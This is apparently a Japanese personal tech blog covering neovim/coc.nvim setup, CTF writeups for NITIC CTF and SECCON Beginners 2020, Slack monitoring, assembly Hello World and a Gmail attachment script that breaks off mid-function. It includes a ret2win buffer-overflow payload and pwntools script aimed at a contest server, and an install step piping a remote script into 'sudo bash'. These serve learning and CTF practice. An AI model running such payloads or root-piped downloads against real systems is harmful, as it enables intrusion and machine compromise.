coc.nvimを使ってC/C++の開発環境を整える

最近neovimというものに移行しcoc.nvimを使ってみたところ中々VimIDEだったので紹介します。
まずは出来上がりのイメージをどうぞ。

こんな感じです。
短いコードしか書いていないのでわかりづらいですが、中々補完がIDEっぽくなっているのではないでしょうか。

今回はcoc.nvimというプラグインを使いました。

github.com

導入方法

まずは事前にインストールするものがあったりするのでコマンド群を載せます。

sudo apt-get install -y snapd
sudo snap install ccls --classic
curl -sL install-node.now.sh/lts | sudo bash
sudo npm install -g yarn

必要なものを諸々設定します。

cclsのPATHが最初は通っていないのでexportします。

export PATH="$PATH:/snap/bin"

もしくはパスを変えずにリンクを張るなどをしてください。

sudo ln -sf /snap/bin/ccls /usr/local/bin/ccls

これらが完了したら次はnvimの設定ファイルをいじっていきます。
色々な設定ファイルを使いますが全て私は~/.config/nvimの中に置いています。

ではまずはプラグインのインストール

dein.toml
[[plugins]]
repo = 'neoclide/coc.nvim'
on_ft = ['python']
merged=0
rev="release"
hook_source = '''
source ~/.config/nvim/coc.rc.vim
'''

これを記入したらnvimを起動しなおします。
次はcoc-settings.jsonというファイルを編集します。
~/.config/nvimの直下に直接作成しても良いですし、nvimを開いて:CocConfigと実行すると設定ファイルの編集に移動します。

coc-settings.json
{
  "languageserver": {
    "ccls": {
      "command": "ccls",
      "filetypes": ["c", "cpp", "cuda", "objc", "objcpp"],
      "rootPatterns": [".ccls-root", "compile_commands.json"],
      "initializationOptions": {
         "cache": {
           "directory": "/tmp/ccls-cache"
         }
       }
    }
  },
  "suggest.keepCompleteopt": true
}

これを設定することにより、LSPの恩恵を受けられます。

きっとここまででもう殆ど変わらない動きをしているのではないでしょうか。

ですが、少しだけ違和感が残ると思います。
それは補完対象がデフォルトで選択されていないことです。

通常IDEではヒット率が高いものがデフォルトで選択されている状態になっています。そこでEnterを押すとすぐに挿入ができるわけです。
ですが今の状態だと必ずCtrl+pを実行しなければなりません。
気にならない方は良いのですが私は少し気になったのでinit.vimに追加でコードを書きます。

init.vim
" 補完表示時のEnterで改行をしない
inoremap <expr><CR>  pumvisible() ? "<C-y>" : "<CR>"
set completeopt=menuone,noinsert
inoremap <expr><C-n> pumvisible() ? "<Down>" : "<C-n>"
inoremap <expr><C-p> pumvisible() ? "<Up>" : "<C-p>"

これによって常に一つは選択された状態になっています。
また選択完了でEnterを押した時に改行をしない。
補完の欄を見るだけでは挿入されず、Enterを押した時のみ実際にコードが挿入されるようになっています。
このコードは Vimの補完を他エディタやIDEのような挙動にするようにする|yasukotelin|note こちらを丸々ぱk(( 参考にさせていただきました。

まとめ

私もまだ導入したばかりなのでこれから使用感を確かめていこうと思います。
私以外のvimmerの方々で一押しのプラグインがあれば是非教えてください。

参考

Vimの補完を他エディタやIDEのような挙動にするようにする|yasukotelin|note

Vimにcoc.nvimを入れたら便利すぎて感動したっていう話 - Qiita

vimにlanguage serverを設定する - おのかちお's blog

NITIC CTF Writeupという名の参加記

NITIC CTFという茨城高専有志の方々によるCTFの大会に参加しました。
結果としては量産型の4位でした(参加した方ならわかる)

主催者の方のツイートに名前が出ていたのは興奮しました。

せっかく参加したのでWriteUpを書こうと思います。
Discord上では公式からWriteupが出ているのですが参加記なので気にしません。

pwnのWriteUpはありませんので察してください。

Dangerous Twitter (Recon)

問題文

フレキ君はパスワードの管理がなってないようです。  
どうやらフレキ君はあるサイトへのログインパスワードを漏らしてしまったみたい。  
フレキ君のTwitterアカウントからそのパスワードを特定しましょう。 
フラグはnitic_ctf{特定したパスワード}になります。  

https://twitter.com/FPC_COMMUNITY

ということでフレキ君のTwitterを見ると、

セキュリティ観念ガバガバなTweetをしているじゃあありませんか!!
ということでこの問題はクリアです。

82 (Web)

大量のAscii文字が書かれたテキストファイルが与えられてそこからflagを読み取る問題でした。
先頭を見てみると

data:image/jpeg;base64,

という記述があったのでこれはbase64なのか、ということでdata:image/jpeg;base64,を切り取ってデコードすると画像形式で見れるようになりました。

cat flag2.txt | base64 -d > flag.jpeg

上記のコマンドを実行して画像を表示するとflagが得られました。
(flag2.txtはflag.txtから先頭のdata~を以降を抜き出したものです。)

nitic_ctf{nemu_nemu_panti_shitai}

私が想像していたWeb問題とは違ったので少しびっくりしました。
なぜWeb問題なのか有識者の方教えてください。

prime_factorization (PPC)

問題文

合成数Cが与えられる。
素因数分解してa_0^b_0 * a_1^b_1 * … * a_n^b_nの形にして、nitic_ctf{a_0_b_0_a_1_b_1…a_n_b_n}のがフラグとなる。
この時a_iは素数、b_iは1以上の整数、aは昇順に並んでいる。

例えばC=48の時、48=2^4*3^1より、フラグはnitic_ctf{2_4_3_1}である

与えられた数字は408410100000でした。
素因数分解してくれるテキトーなサイトに投げて終了です。
私はたまたま見つけたここで素因数分解を行いました。
factrdbでも良いと思います。

素因数分解計算機 - instant tools

結果は25 * 35 * 55 * 75だったのでflag形式に直して完了です。
nitic_ctf{2_5_3_5_5_5_7_5}

shift_only (Crypto)

暗号化されたflagと暗号化アルゴリズムの書かれたソースが渡され、解読するという問題でした。

暗号化されたflag

6}bceijnob9h9303h6yg896h0g896h0g896h01b40g896hz

encrypt_flag.py

from os import environ
flag = environ["FLAG"]
format = environ["FORMAT"]

shift_table = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
def encrypt(text: str, shift: int) -> str:
    assert  0 <= shift <= 9
    res = ""
    for c in text:
        res += shift_table[(shift_table.index(c)+shift)%len(shift_table)]
    return str(shift) + res
for shift in format:
    flag = encrypt(flag, int(shift))
with open("encrypted.flag", "w") as f:
    f.write(flag)

文字をshift分だけシフトして、先頭にshiftを加えていく処理を暗号化では行っているので、その逆をやれば解けそうです。
で、私が書いたプログラムがこれ

shift_table = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
def decrypt(flag, shift):
    res = ""
    for c in flag:
        res += shift_table[(shift_table.index(c)+len(shift_table)-shift)%len(shift_table)]
    return res

flag = '6}bceijnob9h9303h6yg896h0g896h0g896h01b40g896hz'
while flag[0] != 'n':
    flag = decrypt(flag[1:], int(flag[0]))
print(flag)

先頭をshiftとして抜き出してそれ以降を暗号文として渡します。
flag形式はnitic_ctf{hoge}なので先頭がnになるまでループを回すことで解読できます。
実行するとflagが出てきました。

nitic_ctf{shift_shift_shift_and_shift}

cha1n (Misc)

おそらく同じ動きをするであろうbatファイルとshスクリプトファイルが渡されそこからflagを見つけ出します。
2種類あるのはOSに依存しない配慮だと思います。
私は".sh"ファイルからflagを見つけました。
ファイルは1.sh a.sh c.sh h.sh n.shがありました。
すべてcatしたやつをとりあえず載せます。

str=$(cat -)
str=${str//s/a}
str=${str//x/c}
echo ${str//qq/rr}
str=$(cat -)
str=${str//3/\}}
str=${str//8/o}
echo ${str//ww/qq}str="njtjxpxtfwx()s1Kpx()s1Kpx()s1Kpx()s1Kpx()s1Kp5x8mb83"
str=${str//()/h}
str=${str//p/_}
echo ${str//w/oo}str=$(cat -)
str=${str//j/i}
str=${str//K/n}
echo ${str//oo/ww}
str=$(cat -)
echo ${str//rr/\{}

中腹にあるstrを置き換えを使ってflagに変換するのだろうと読み取れたので、とりあえずそれぞれ実行してみました。
暗号化された文字はc.shにあるのでそれだけは一番最初に実行しないといけません。

bash c.sh | bash 1.sh | bash a.sh | bash h.sh | bash n.sh

上記を実行するとnitic_ctfwwcha1n_cha1n_cha1n_cha1n_cha1n_5combo}という文字列が出てきました。
あとはエスパーしてflagに変えます。

nitic_ctf{cha1n_cha1n_cha1n_cha1n_cha1n_5combo}

これWriteUp書いていて気づいたのですが、cha1nの順で実行すればよかったのですね... やっているときはn.shを見落としていたのもあり、全く気が付きませんでした。

FORTRAN (Reversing)

実行形式のファイルが渡されてその中からflagを見つけるというものでした。

strings problem | grep ctf

これでやるとflagが出るのですが、出題者側のうっかりミスでflagが修正前のものだったらしいです。
上記のコマンドの結果がreplacenitictf{Fortran}だったので、私はミスなんて関係なく

置き換えやるんやな!

とか考えてもう一つwindows用に渡されていたexeファイルも同じコマンドを実行しました。
変更忘れはELFファイルだけだったようです。

nitic_ctf{No_FORTRAN_Yes_Fortran}

これでこの問題は終わりなのですが、置き換えを実行すると思っていた私はnitic_ctf{No_FORTRAN_Yes_nitictf}とかをsubmitし、解けない解けないをやっていましたw
諦めて元のflagを試しに投げたら通ったので !? って感じでした。

anim (Forensic)

実行形式ファイルが渡されるのでそこからflagを見つける問題です。
とりあえず実行しても実行形式エラーとなるのでfileコマンドを実行すると

flag: Microsoft PowerPoint 2007+

と出るじゃあーりませんか。
ということで拡張子をpptxに変換するとPowerPointで開けるようになるので開いて。
あとはスライドショーでアニメーションを見ると可愛らしくflagが出てきます。

nitic_ctf{ppppptx}

Pwn 諦め・感想

道路さん作門だったし、ポイント高かったしで最初から諦めていました()
とりあえずformat string attackを使うんだなということだけ察しをつけて撤退しました。
あっているかは知りません。
あとで復習しようと思います。

感想

レベル感としてはCTF初心者向けという感じでした。
どの問題も初心者でも調べればできるような問題。
かつ中には頭を使って解くような問題もありとても楽しめました。
第1回のみオープン開催らしいのでとても残念です。
もし第2回があればまた参加したいです。
ありがとうございました。

「SECCON Beginners CTF 2020」に参加しました。

タイトルにもある通り「SECCON Beginners CTF 2020」に参加させていただきました。
初参加だったので参加記を残しておこうと思います。
writeupは作問者様や他の参加者様たちのブログで良質なものが見れると思うので、今回は参加記という形にしています。
あまり気にしなくて良いのかもしれませんが...

結果

4問(welcome問題抜)正解で255位でした。
CTF初心者にしては頑張ったほうなのかな、と思います。

解けた問題

Beginner's Stack

pwn初心者の私には丁度よい難易度の問題でした。
やっていてとても楽しかったです。
リターンアドレスを関数winへ書き換えれば"Congratulations!"という文字が出てシェルが起動するという問題でした。
Aを40文字+win関数のアドレスを入力するとリターンアドレスが書き換えられるのでまずはそれを実行しました。

echo "$(perl -e 'print "A"x40 . "\x61\x08\x40\x00\x00\x00\x00\x00"')" | nc bs.quals.beginners.seccon.jp 90011

これを実行すると終了!
と、おもいきやエラー(?)が出ます。

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

RSPの値を16バイトにアライメントされていないとだめだ、ということなので少し値をずらして再度実行します。

echo "$(perl -e 'print "A"x40 . "\x62\x08\x40\x00\x00\x00\x00\x00"')" | nc bs.quals.beginners.seccon.jp 9001

\x61から\x62にしました。
これでCongratulations!が出て、あとはシェルを使ってフラグを表示させれば終了!
と思いきや、まだ終了ではありませんでした。
シェルは起動しているのですがコマンドの入出力ができません。
ここで躓いた人は多いのではないでしょうか。私はここで夜を明かしました。
どうにかしてシェルをインタラクティブに操作できないかとグーグル先生にしつこく聞いていたら、pwntoolsなるものが使えそうということがわかりました。
早速導入して書いたコードが以下になります。

from pwn import *

def main():
    context(arch="i386", os="linux")

    p = remote("bs.quals.beginners.seccon.jp", 9001)

    payload = "A"*40 + '\x62\x08\x40\x00\x00\x00\x00\x00'

    p.sendlineafter("Input:", payload)

    p.interactive()

if __name__ == "__main__":
    main()

なんとも便利ですね。
見様見真似で書いたので詳しいことはわかりませんが、関数名からなんとなく処理を察して書いてみたら動きました。
インタラクティブにコマンド操作ができるようになったので、lsでflag.txtを捜索してから、catして終了です。

pwntoolsを使う他には以下のような方法でもいけます。

echo "$(perl -e 'print "A"x40 . "\x62\x08\x40\x00\x00\x00\x00\x00"')"  > input
cat input - | nc bs.quals.beginners.seccon.jp 9001

でもCTFをやっていくならpwntoolsを学んだほうが良さそうですね。

R&B

配られたプログラムを見るとFORMAT(文字列)があったとき、n番目の文字が'R'ならrot13エンコード、'B'ならbase64エンコードをする。
その後rot13なら'R', base64なら'B'をエンコードしたもの先頭に加え、新たな文字列とする。
といった処理になっています。
なのでこれは逆に先頭の文字を見てデコードしていけばFLAGが出るということになります。
書いたコードです。

from base64 import *
import codecs

def rot13(s):
    return codecs.decode(s, 'rot13')


def base64d(s):
    return b64decode(s)

s = 'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=='

while s[0] != 'c':
    if s[0] == 'R':
        s = rot13(s[1:])

    if s[0] == 'B':
        s = base64d(s[1:]).decode('utf-8')


print(s)

flag形式がctf4b{hoge}なので先頭がcになるまで繰り返すことにしています。
今回はこれでflagが出ましたが、ものによってはctfで比較したほうが良いかもしれません。

Spy

この問題もかなり好きな問題でした。
チャレンジページでWebツールを使用する社員の組み合わせを的中させればflagがゲットできる問題でした。
最初全くわからず全列挙してやろう、と思って A + (B ~ Z) まで試したあたりで力尽きてやめました。
やめてきちんとソースコードを見てみると、時間を表示している部分がやけに気になったのでそこを中心に解法を考えてみました。
結果的にこれがflagゲットに繋がったわけですが、運が良かったです。
肝となる処理がここだと思います。(コメントは削除してあります)

exists, account = db.get_account(name)
if not exists:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

アカウントが存在していると2つ目のif文の処理まで流れます。
逆に存在しない場合はその前の1つ目のif文でreturnされるので処理時間は短くなります。
このために時間表示があったのか!とここで気が付きました。
あとは従業員のログインを全部試してみて、ログイン処理が長い従業員をマーク。
go to challengeして終了です。
わかったとき脳汁出まくってやばかったです()

emoemoencode

絵文字でできた文字列が渡されそれを解読する問題でした。
最初見たときわからなさすぎたので、似たような問題が他のCTFで出てないか探しました。
「絵文字 エンコード CTF」と検索するとかなり参考になりそうな記事がヒットしました。

RC3 CTF 2017 の write-up - st98 の日記帳

このCTFではbase64でしたが、似たような感じでやれば良いんだなという方針を立てました。
flag形式がctf4{hoge}なので🍣がcに来るように前後の文字をa~zに割り当てて変換を行いました。
同じように🌴の位置に合わせて0~9も割り当てました。
文字だけだとよくわからないのでコード載せます。

re    = list('🍡🍢🍣🍤🍥🍦🍧🍨🍩🍪🍫🍬🍭🍮🍯🍰🍱🍲🍳🍴🍵🍶🍷🍸🍹🍺🌰🌱🌲🌳🌴🌵🌶🌷🌸🌹')
alnum = list('abcdefghijklmnopqrstuvwxyz012345679')

flag = '🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽'

for f in flag:
    if f in re:
        print(alnum[re.index(f)], end='')
    else:
        print(f, end='')

print()

これを実行すると

ctf4b🍻stegan0graphy🍟by🍟em000000ji🍽

となってまだ、正解ではありません。
ですがもうほぼ正解なのであとは勘で" { _ } "を補填してflagが出ました。

本当は各文字コードの下位8bitを抜き出して、ascii変換するのが正攻法っぽいです。

まとめ・感想

CTFやるやる言ってあまりやっていませんでしたが、こういう機会に参加できてとても楽しかったです。
今後少しずつ様々なCTFに参加して、ツヨツヨになっていけたらなあと思います。
詐欺にならないよう気をつけます。

Slackでサーバの死活監視を行う

Incoming Webhookを利用してSlackのチャンネルへサーバから通知を飛ばして、死活監視を行ったのでそれについてまとめます。
実行結果は以下のようになります。

f:id:kisaragi211:20200504135431p:plain]

準備

自身専用のワークスペースとサーバ管理用のチャンネルがあると良いともいます。
チャンネルへ通知を飛ばすためにはWebhookURLというものが必要になります。
そのためSlackチャンネル内のAppの部分でIncoming Webhookと検索して追加します。
その後設定の画面にいくとWebHookURLが書いてある行があるのでコピーしておきます。

コード作成

公式のセットアップ手順でいくとcurlを使ってSlackへメッセージを送信していますが、今回私はPythonを使ってメッセージを飛ばすことにします。
公式のコマンドは最終的に以下のようになっています。

curl -X POST --data-urlencode "payload={\"channel\": \"#server\", \"username\": \"webhookbot\", \"text\": \"これは webhookbot という名のボットから #server に投稿されています。\", \"icon_emoji\": \":ghost:\"}" {WebhookURL}

これはjson形式のデータをPOSTしているだけなのでもちろんPythonでもできます。
以下が私が作成したプログラムです。

#!/usr/bin/python3

import requests, json

WEBHOOK_URL = "{WebhookURL}"
CHANNEL = "#server"
USERNAME = "webhookbot"

def doPost(url, channel, username, text):
    payload = json.dumps({
        "channel": channel,
        "username": username,
        "text": text,
    })

    requests.post(url, payload)

if __name__ == '__main__':
    text = "サーバは動作しています\n"

    doPost(WEBHOOK_URL, CHANNEL, USERNAME, text)

WBHOOK_URLには自身のURLを設定してください。
コードの内容としては単純なものでスクリプトをそのままPythonに置き換えただけです。
jsonライブラリでjson形式にしたデータをrequest.post関数を使ってPOSTしています。
これによってcurlでpayloadをPOSTした時と同じ動作になります。

このスクリプトをcronで定期的にサーバで動作させることで死活監視が行えます。
その際通知がひどいことになるので専用チャンネルを作ってミュートをしておくと良いと思います。

私は上記のコードに加えてログインチェックを行う処理も追加して動作させています。
以下が+αしたコードになります。

#!/usr/bin/python3

import requests, json, subprocess, ipaddress

ALLOW_IP_LIST = ['x.x.x.x/x']
WEBHOOK_URL = "{WebhookURL}"
CHANNEL = "#server"
USERNAME = "webhookbot"

def check_login():
    ret = '----- check_login -----\n'
    deallow_ip_flag = True
    cmd = 'grep Accepted /var/log/auth.log | tail -10'
    proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE)

    for line in proc.stdout.decode('utf-8').split('\n'):
        if not line:
            ret += 'all ok\n'
            break
        line = line.split()
        month = line[0]
        day = line[1]
        time = line[2]
        user = line[8]
        ip = ipaddress.ip_address(line[10])
        deallow_ip_flag = True
        for nw in ALLOW_IP_LIST:
            nw = ipaddress.ip_network(nw)
            if ip in nw:
                deallow_ip_flag = False
        if deallow_ip_flag:
            ret += '{}-{}-{} {} {}\n'.format(month, day, time, user, ip)
            break
    return [deallow_ip_flag, ret]

def doPost(url, channel, username, text):
    payload = json.dumps({
        "channel": channel,
        "username": username,
        "text": text,
    })

    requests.post(url, payload)

if __name__ == '__main__':
    text = "サーバは動作しています\n"
    ret = check_login()

    if ret[0]:
        text = '<!channel>\n' + text

    text += ret[1]

    doPost(WEBHOOK_URL, CHANNEL, USERNAME, text)

動作について説明します。
これはauth.logのログイン成功時の行を抽出してその中に想定IP以外のIPが存在するかを確認します。
ALLOW_IP_LISTは自宅のIPや携帯のIPなど自身が使用するであろう想定のIPを書いておきます。
成功時のログを見て、想定IPしかなかった場合はall ok というメッセージをチャンネルへ送信します。
もし想定していないIPのログインが確認された場合、{日付・時間・ログインユーザ名・IP}という簡易ログをチャンネルへのメンションを付加して送信します。
チャンネルへのメンションは"<!channnel>"で行うことができます。
チャンネルへメンションするとミュートにしている場合でも、通知の欄が赤くなるので通常よりは異常に気付きやすくなると思います。

まとめ

これらのソースはgithub上で管理していて今後も機能を少しずつ充実させていこうと思っています。

github.com

少しでも参考になれば良いと思います。

+αのログインチェックは中々お粗末なものではあるので信頼性には欠けますが、死活監視のついでに行う処理としては良いのでないかと思います。

アセンブリでHelloWorldする

環境

Ubuntu 18.04.4 LTS
NASM version 2.13.02
GNU ld (GNU Binutils for Ubuntu) 2.30

目標

アセンブリシステムコールを呼び出し、HelloWorldを出力することを目指します。

基礎知識

今回HelloWorldをするにあたってwriteシステムコールを使って標準出力をしていきます。

システムコールとは

カーネル(OSの中核)が提供する処理をユーザが呼び出すこと。
例:writeやreadを使ったファイルへの読み書きなど。
カーネルのプロセスはカーネル空間という場所にあり、ユーザは通常そこへはアクセスできません。
そのためシステムコールを経由してカーネルの機能を利用します。

システムコールを呼び出すには

システムコールアセンブリから呼び出すには「システムコールの識別子」「引数」の設定が必要です。
またそれぞれを設定する際に使うレジスタが決まっています。

設定項目 レジスタ
識別子 rax
第1引数 rdi
第2引数 rsi
第3引数 rdx
第4引数 r10
第5引数 r8
第6引数 r9

第7引数以降はスタックに積まれます。

上記の表を見ながら対応するレジスタに必要な値を設定していきます。

設定項目の調査

識別子の確認

raxレジスタに設定する識別子を探します。
この識別子を用いてシステムコールを呼び出す際、どの処理を行うのかを明示します。
今回はwriteシステムコールの識別子を調べます。
識別子は /usr/include/x86_64-linux-gnu/asm/unistd_64.h にまとめて書いてあります。
その中身を見るなりgrepするなりしてwriteの行を探します。

grep write /usr/include/x86_64-linux-gnu/asm/unistd_64.h

うまく見つからない場合は grep -r write /usr/include/ 等を実行すると出力される中に該当の行があると思います。

上記のようなコマンドを実行すると#define __NR_write 1という行を見つけると思います。
この1というのがシステムコールの識別子です。
この値をraxに設定します。

引数の確認

man 2 writeをするとwriteシステムコールの使い方が確認できます。
manの2というオプションはシステムコールについてのマニュアルを表示するというオプションです。

ssize_t write(int fd, const void *buf, size_t count);

上記の形式にしたがって引数を設定します。

rax = 1 
rdi = 1
rsi = "Hello Assembly\n"
rdx = 15

今回は標準出力を使うのでfd(ファイルディスクリプション)は1を設定します。

コードを書く

ファイル名はhelloworld.asmにします。

section .data
    str: db "Hello Assembly", 0x0a

section .text
    global _start

_start:
    mov rax, 1
    mov rdi, 1
    mov rsi, str
    mov rdx, 15
    syscall

    mov rax, 60
    mov rdi, 0
    syscall

それぞれの処理について説明していきます。

文字列の定義

section .data
    str: db "Hello Assembly", 0x0a

ここでは文字列の定義を行っています。
dataセグメントでは初期値をもつ変数を格納します。
なお初期値のないものはbssセグメントとなります。
c言語で書くとchar str[] = "Hello Assembly\n";となります。
最後の0x0aというのは改行のアスキーコードです。

命令の記述

section .text
    global _start

_start:
    mov rax, 1
    mov rdi, 1
    mov rsi, str
    mov rdx, 15
    syscall

テキストセグメントでは処理する命令を記述します。
global _start_startラベルへ移動しそこから処理を勧めていくことを記述しています。
_startラベル以降に書いてある処理は先程調べた内容(識別子・引数)を設定しています。
rsi(第2引数)ではデータセグメントで定義したstrの場所を指定しています。
rdx(第3引数)は文字列の長さを設定しています。
c言語で書くと

char str[] = "Hello Assembly\n";
write(1, str, 15);

となります。

識別子と引数を設定してsyscallすると該当のシステムコールが呼び出されます。

プログラムの終了

mov rax, 60
mov rdi, 0
syscall

2つ目のシステムコールはexitシステムコールの呼び出しになります。
ステーテスコード0でexitを実行しプログラムを終了します。

実行

nasm -f elf64 -o helloworld.o helloworld.asm
ld helloworld.o -o helloworld 
./helloworld

f:id:kisaragi211:20200410165345p:plain

まとめ

アセンブリでHelloWorldすることができました。
その他のシステムコールにも挑戦しようと思います。

参考

https://www.ohmsha.co.jp/book/9784274222740/

コンピュータハイジャッキングを読みました。

コンピュータハイジャッキングという本を読んだので軽く感想を書いていこうと思います。
※詳細には書きません。

当該の本

www.ohmsha.co.jp

内容

第1章

セキュリティに関する用語の説明など

第2章

開発環境の作成。
Kali Linux仮想マシンを用いて動作させます。

第3章

トルエンディアンやビッグエンディアン。仮想アドレス・物理アドレス。また、メモリ領域についてなどの説明。
また、c言語のソースやgdbを用いて実際にアドレスがどうなっているのかを確認する演習があります。
その後アセンブリの基礎としてレジスタ名と用途の説明などがあり、アセンブリでHelloWorldするパートがあったのですがとてもおもしろかったです。

第4章

execveシステムコールを用いてpwdコマンドやshコマンドを実行するアセンブリコードを書きます。

第1引数 rdi
第2引数 rsi
第3引数 rdx
第4引数 r10
第5引数 r8
第6引数 r9

この表を意識しながらコードを読むと理解がより深まる気がします。

第5章&第6章

バッファオーバフロー攻撃を用いてプログラムの制御権を剥奪、つまりコントロールハイジャッキングを行います。
Hacking美しき策謀と似通ったないようではありますが、より初心者向けに優しく説明されてるように思いました。
策謀本に挑戦したときよりは理解が深まったと思います。しかし、まだ本なしで純粋にこういった脆弱性を攻撃できるかと言われたら微妙なところです...
精進したい。

第7章

脆弱性のあるTCPサーバプロトコル脆弱性をついてリモートでの攻撃を体験します。
socketのプロトコルファミリー/タイプなどがまだまだ慣れません。
慣れていきたい。

第8章

リバースTCPを用いてファイアウォールを突破する方法が書かれています。
ローカル内ではありましたが攻撃が成功してシェルが起動できたのは面白かったです。

付録 (?)

ptraceシステムコールを使ったコードインジェクションやpythonを用いたエクスプロイトコードの作成など。
ものにしていきたい...

感想まとめ

全体的に初心者向けという感じで良書でした!
私のような初心者にはおすすめの1冊だと思います。

なにかご指摘等あればコメントください。

Python3で添付ファイル付きgmailを送信する

完成ソース

import smtplib
from email import encoders
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.message import MIMEMessage
from email.mime.multipart import MIMEMultipart
from email.utils import formatdate
import ssl
import magic
import os

import info

def create_message(from_addr, to_addr, cc_addrs, bcc_addrs, subject):
    msg = MIMEMultipart()
    msg['Subject'] = subject
    msg['From'] = from_addr
    msg['To'] = to_addr
    msg['Cc'] = cc_addrs
    msg['Bcc'] = bcc_addrs
    msg['Date'] = formatdate()
    return msg

def attach_file(msg, attach_dir):
    for file_name in os.listdir(attach_dir):
        path = os.path.join(attach_dir, file_name)
        with open(path, 'rb') as fp:
            types = get_mimetypes(path)
            attachment = MIMEBase(types['maintype'], types['subtype'])
            attachment.set_payload(fp.read())
            encoders.encode_base64(attachment)
            attachment.add_header(
                'Content-Disposition', 'attachment',
                filename = file_name
            )
            msg.attach(attachment)

def add_text(msg, body):
    msg.attach(MIMEText(body))

def send_mail(from_addr, to_addrs, password, msg):
    sender = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    sender.login(from_addr, password)
    sender.sendmail(from_addr, to_addrs, msg.as_string())
    sender.quit()

def get_mimetypes(path):
    m = magic.from_file(path, mime=True).split('/')
    types = dict(maintype = m[0], subtype = m[1])
    return types

if __name__ == '__main__':
    from_addr = info.FROM_ADDRESS
    to_addr = info.TO_ADDRESS
    cc_addrs = info.CC
    bcc_addrs = info.BCC
    subject = info.SUBJECT
    body = info.BODY
    password = info.PASSWORD
    attach_dir = info.ATTACH_DIR

    msg = create_message(from_addr, to_addr, cc_addrs, bcc_addrs, subject)
    add_text(msg, body)
    attach_file(msg, attach_dir)
    send_mail(from_addr, to_addr, password, msg)

githubは以下になります。

github.com

前準備

今回gmailのアカウントとSMTPサーバを利用してメールを送信するのですが、その際googleアカウントの設定で「安全性の低いアプリのアクセス」というのを有効にする必要があります。

ログイン - Google アカウント

こちらのページで「安全性の低いアプリ」と検索し、有効にしてください。

実装

関数を一つずつ説明していきます。

MIMEオブジェクトの作成

def create_message(from_addr, to_addr, cc_addrs, bcc_addrs, subject):
    msg = MIMEMultipart()
    msg['Subject'] = subject
    msg['From'] = from_addr
    msg['To'] = to_addr
    msg['Cc'] = cc_addrs
    msg['Bcc'] = bcc_addrs
    msg['Date'] = formatdate()
    return msg

この関数はMIMEオブジェクトを作成し、メールの基本情報を設定します。
上から、件名・送信元・送信先・CC・BCC・日付 となっています。
その後MIMEオブジェクトを返します。
このオブジェクトに対して本文を追加したり、画像を添付したりしていきます。

メール送信

def send_mail(from_addr, to_addrs, password, msg):
    sender = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    sender.login(from_addr, password)
    sender.sendmail(from_addr, to_addrs, msg.as_string())
    sender.quit()

この関数ではgamilのSMTPサーバへ接続し、メールを送信しています。
from_addrでは送信元、自分のgmailのアドレスを指定します。
passwordにはそのアカウントのパスワードを指定します。

添付ファイル

def get_mimetypes(path):
    m = magic.from_file(path, mime=True).split('/')
    types = dict(maintype = m[0], subtype = m[1])
    return types

def attach_file(msg, attach_dir):
    for file_name in os.listdir(attach_dir):
        path = os.path.join(attach_dir, file_name)
        with open(path, 'rb') as fp:
            types = get_mimetypes(path)
            attachment = MIMEBase(types['maintype'], types['subtype'])
            attachment.set_payload(fp.read())
            encoders.encode_base64(attachment)
            attachment.add_header(
                'Content-Disposition', 'attachment',
                filename = file_name
            )
            msg.attach(attachment)

def add_text(msg, body):
    msg.attach(MIMEText(body))

get_mimetypes関数では指定されたファイルのMIMETypeを返す関数です。

{'maintype':maintype, 'subtype':subtype}

という形式で値を返却します。
MIMETypeについては以下のサイトを参考にしてください。

メディアタイプ - Wikipedia

添付ファイルを送信する際にはそのファイルのMIMETypeを指定する必要があるので後々使います。

def add_text(msg, body):
    msg.attach(MIMEText(body))

もう一つの関数で簡単な方から説明します。
こちらは引数で受け取った文字列を本文としてMIMEオブジェクトに追加します。

def attach_file(msg, attach_dir):
    for file_name in os.listdir(attach_dir):
        path = os.path.join(attach_dir, file_name)
        with open(path, 'rb') as fp:
            types = get_mimetypes(path)
            attachment = MIMEBase(types['maintype'], types['subtype'])
            attachment.set_payload(fp.read())
            encoders.encode_base64(attachment)
            attachment.add_header(
                'Content-Disposition', 'attachment',
                filename = file_name
            )
            msg.attach(attachment)

この関数では指定したディレクトリのファイルを列挙し、それを添付ファイルとしてMIMEオブジェクトに追加します。

types = get_mimetypes(path)
attachment = MIMEBase(types['maintype'], types['subtype'])

ここで先ほど説明したget_mimetypes関数を使います。
そこで得た値を使ってMIMETypeを明示します。
通常のテキストファイルならtext/plainになります。

attachment.set_payload(fp.read())
encoders.encode_base64(attachment)

ここでは添付ファイルの本体をセットし、それをbase64エンコーディングしています。
電子メールではasciiコードでしか文字を送れないためbase64エンコーディングをする必要があります。
これはMIMEの規格で定められた変換方法で、データを(a~z,A~Z,0~9,+,-)の64文字に変換します。
変換したデータを受信側でデコードすることでascii以外の文字もやり取りすることができます。

attachment.add_header(
